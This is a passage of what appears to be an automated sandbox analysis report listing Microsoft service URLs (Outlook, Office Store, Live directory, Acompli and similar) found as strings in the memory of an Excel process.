    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499023954.00000000162F1000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500805327.00000000162F1000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://outlook.office365.com
    Source: EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277937886.0000000013779000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678152004.00000000162F2000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499023954.00000000162F1000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500805327.00000000162F1000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://outlook.office365.com/
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmpString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.jsont
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://outlook.office365.com/o
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/m
    Source: EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537421141.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537210186.000000001385B000.00000004.00000001.sdmpString found in binary or memory: https://pages.store.office.com/appsh
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
    Source: EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537421141.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537210186.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553019049.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551397263.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552313973.0000000013864000.00000004.00000001.sdmpString found in binary or memory: https://pages.store.office.com/review/q
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://pages.store.office.com/review/query
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://pages.store.office.com/webapplandingpage.aspxo
    Source: EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
    Source: EXCEL.EXE, 00000000.00000003.499403572.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422621252.0000000013649000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678575616.000000001365A000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594060910.0000000013647000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695430000.0000000013661000.00000004.00000001.sdmpString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptionsm1&0
    Source: EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmpString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.jsonLLs
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://powerlift.acompli.net
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
    Source: EXCEL.EXE, 00000000.00000002.692974319.000000000E072000.00000004.00000001.sdmpString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-iosz
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.jsonL
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptioneventsEi5
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://roaming.edog.
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
